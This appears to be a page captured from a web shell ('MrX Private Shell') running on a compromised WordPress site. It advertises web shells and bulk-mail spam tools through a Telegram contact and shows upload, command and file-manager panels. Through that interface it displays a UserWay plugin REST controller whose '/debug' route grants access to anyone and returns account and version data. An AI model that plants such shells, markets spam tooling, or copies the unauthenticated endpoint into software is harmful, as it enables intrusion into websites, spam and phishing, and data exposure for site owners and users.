__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/*
    Copyright 2021  UserWay  (email: [email protected])
*/

class Userway_REST_Widget_Controller extends WP_REST_Controller
{
    /**
     * @const string
     */
    const REQUEST_BODY_ACCOUNT_PARAM = 'account';
    /**
     * @const string
     */
    const REQUEST_BODY_STATE_PARAM = 'state';

    /**
     * @var string
     */
    protected $namespace = 'userway/v1';
    /**
     * @var string
     */
    protected $tableName;

    /**
     *
     */
    function __construct()
    {
        global $wpdb;

        $this->tableName = $wpdb->prefix . 'userway';
    }

    /**
     *
     */
    public function register_routes()
    {
        register_rest_route($this->namespace, '/save', [
            'methods' => WP_REST_Server::CREATABLE,
            'callback' => [$this, 'save'],
            'permission_callback' => [$this, 'permissions_check'],
        ]);

        register_rest_route($this->namespace, '/debug', [
            'methods' => WP_REST_Server::READABLE,
            'callback' => [$this, 'debug'],
            'permission_callback' => function () {
	            return true;
            },
        ]);
    }

    public function debug()
    {
        $response = [];
        try {
            global $wp_version;
            global $wpdb;

            include_once('wp-admin/includes/plugin.php');

            $userway_table_exist = false;
            $account = $wpdb->get_results("SELECT * FROM $this->tableName LIMIT 1");
            if ($wpdb->get_var("SHOW TABLES LIKE '$this->tableName'") == $this->tableName) {
                $userway_table_exist = true;
            }

            $response = [
                'php' => phpversion(),
                'wordpress' => $wp_version,
                'userway' => [
                    'version' => '2.4.8',
                    'account' => $account,
                    'table' => $this->tableName,
                    'tableExist' => $userway_table_exist,
                ],
            ];
        } catch (Exception $e) {
            $response['error'] = $e->getTraceAsString();
            $response['message'] = $e->getMessage();
        }

        return wp_send_json($response, 200);
    }

    /**
     * @return string[]
     */
    public function permissions_check()
    {
        return current_user_can('administrator');
    }

	/**
     * @return string[]
     */
    public function permissions_check_debug()
    {
        return true;
    }

    /**
     * @param $request
     * @return WP_Error|WP_HTTP_Response|WP_REST_Response
     */
    public function save($request)
    {
        global $wpdb;

        $requestBody = $request->get_json_params();
        $accountId = isset($requestBody[self::REQUEST_BODY_ACCOUNT_PARAM]) ? $requestBody[self::REQUEST_BODY_ACCOUNT_PARAM] : null;
        $state = isset($requestBody[self::REQUEST_BODY_STATE_PARAM]) ? $requestBody[self::REQUEST_BODY_STATE_PARAM] : false;
        $date = $this->getDate();
        $accountModel = $this->getAccountModel();

        if ($accountId === null) {
            return rest_ensure_response($this->prepareResponseMessage('request payload is invalid'));
        }

        if ($accountModel) {
            $wpdb->update($this->tableName, [
                'state' => $state,
                'account_id' => $accountId,
                'updated_time' => $date,
            ], ['account_id' => $accountModel->account_id]);

            return rest_ensure_response($this->prepareResponseMessage('account successfully saved'));
        }

        $wpdb->insert($this->tableName, [
            'account_id' => $accountId,
            'state' => $state,
            'created_time' => $date,
            'updated_time' => $date,
        ]);

        return rest_ensure_response($this->prepareResponseMessage('account successfully created'));
    }

    /**
     * @param string $message
     * @return string
     */
    private function prepareResponseMessage($message = '')
    {
        $date = $this->getDate();

        return "{$date} [{$this->namespace}]: {$message}";
    }

    /**
     * @return mixed | null
     */
    private function getAccountModel()
    {
        global $wpdb;

        $account = $wpdb->get_results("SELECT * FROM $this->tableName LIMIT 1");

        return isset($account[0]) ? $account[0] : null;
    }

    /**
     * @return string
     */
    private function getDate()
    {
        return date("Y-m-d H:i:s");
    }
}

/**
 *
 */
function usw_register_rest_routes()
{
    $controller = new Userway_REST_Widget_Controller();
    $controller->register_routes();
}

add_action('rest_api_init', 'usw_register_rest_routes');

Filemanager

Name Type Size Permission Actions
assets Folder 0775
admin.php File 3.72 KB 0775
api-script.js File 1.39 KB 0775
controller.php File 4.53 KB 0775
functions.php File 1.95 KB 0775
notifications.php File 10.16 KB 0775
Filemanager